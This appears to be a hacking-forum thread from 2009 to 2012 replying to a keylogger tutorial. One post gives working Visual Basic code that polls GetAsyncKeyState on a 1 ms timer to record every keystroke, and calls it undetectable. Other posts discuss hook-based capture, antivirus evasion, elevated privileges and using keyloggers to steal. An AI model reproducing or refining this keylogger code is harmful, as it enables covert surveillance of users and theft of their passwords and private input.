(May 25, 2010 04:24 PM)S W A G G A Wrote: [\[CITE\]](#) This is what all good keyloggers use. Yep. Hooks are for winners. GetAsyncKey is for beginners.

Numinous - December 1, 2010, 6:06 am

great buddy well done

Have a fun

Pikarica - March 25, 2011, 1:57 am

(Nov 30, 2009 09:38 AM)Vorfin Wrote: [\[CITE\]](#) Noo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!" HAHAHAH I was laughing for 10 minutes when I readed this, btw great tut, but look this solution : Copy this code into yours Form1, make Timer1 and Text1.

Put this on the top of the Form1.

```

Quote:Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer

```

Then create Timer1 and add code to the timer, set timer to 1 ms.

Quote:For i = 1 To 255

```

    result = 0

```

```

    result = GetAsyncKeyState(i)

```

```

    If result = -32767 Then

```

```

        Text1 = Text1 + Chr(i)

```

```

    End If

```

Next i

The job si done ? And for the end this keylogger si FUD, I was laughing for that also ?

Meth - March 25, 2011, 2:06 am

It's funny how everyone here says how great hooks are and to use them when they have no idea how they work and all use the same hook code as posted above.

To bad that hook code fails to hook like 40% of the time and provides completely blank logs.

At the same time this GetAsyncState code is horrid.

lexx13 - March 25, 2011, 2:09 am

(Mar 25, 2011 02:06 AM)Meth Wrote: [\[CITE\]](#) It's funny how everyone here says how great hooks are and to use them when they have no idea how they work and all use the same hook code as posted above.

To bad that hook code fails to hook like 40% of the time and provides completely blank logs.

At the same time this GetAsyncState code is horrid.Any particular reason why should a hook fail 40% of time?

Meth - March 25, 2011, 2:11 am

(Mar 25, 2011 02:09 AM)lexx13 Wrote: [\[CITE\]](#) Any particular reason why should a hook fail 40% of time?

Alot of programs require elevated privileges, and it fails to hook them.

And other I have absolutely no idea. But on many ocassions with hooks logs have turned up completely blank

Atleast with the public low level hook classes ive seen.

Vertu - March 25, 2011, 2:34 am

Thanks for sharing code , but this code will use lot of ram and will be easily detected by many av

Meth - March 25, 2011, 2:36 am

(Mar 25, 2011 02:34 AM)Vertu Wrote: [\[CITE\]](#) Thanks for sharing code , but this code will use lot of ram and will be easily detected by many av

That's total bullshit timers use little RAM actually (not that they shouldnt be avoided)

I've noticed no significant diffrence memory wise between async or hooks.

lexx13 - March 25, 2011, 2:56 am

(Mar 25, 2011 02:11 AM)Meth Wrote: [\[CITE\]](#) Alot of programs require elevated privileges, and it fails to hook them.

And other I have absolutely no idea. But on many ocassions with hooks logs have turned up completely blank

Atleast with the public low level hook classes ive seen.What does hook have to do with lots of programs? The purpose of hook is hook into low-level keyboard input operations. In other words, when a user presses "A", the key is captured by hook and then released back to the system, no matter what application is running. Unless you mean that in order to hook you need to elevate

privileges which is completely different story.

Meth - March 25, 2011, 2:59 am

(Mar 25, 2011 02:56 AM)lexx13 Wrote: [\[CITE\]](#) What does hook have to do with lots of programs? The purpose of hook is hook into low-level keyboard input operations. In other words, when a user presses "A", the key is captured by hook and then released back to the system, no matter what application is running. Unless you mean that in order to hook you need to elevate privileges which is completely different story.

it creates a handle on each window, so actually the application does matter. If the application is running under elevated privileges it will fail to hook, unless of course the run the keylogger itself with elevated privileges. There have been multiple occasions where it would appear hooks completely failed to hook at all.

lexx13 - March 25, 2011, 3:08 am

(Mar 25, 2011 02:59 AM)Meth Wrote: [\[CITE\]](#) it creates a handle on each window, so actually the application does matter. If the application is running under elevated privileges it will fail to hook, unless of course the run the keylogger itself with elevated privileges. There have been multiple occasions where it would appear hooks completely failed to hook at all. Will investigate this some time later and will post back results.

Cheers,
Lex.

Pikarica - March 25, 2011, 10:31 am

Keylogger as himself take a big part of processor and it is detected by almost every AV on this planet, so I think that keylogger isn't good solution if you want to steal something.

greenhat.hackers - December 14, 2011, 10:59 am

special char's dont work :(i dont know why doesn't.. m going crazy :(

c0ffee - January 18, 2012, 6:40 am

Good tutorial and great code, care if I use it? It's a horrid task to always recreate the cases for the alt codes.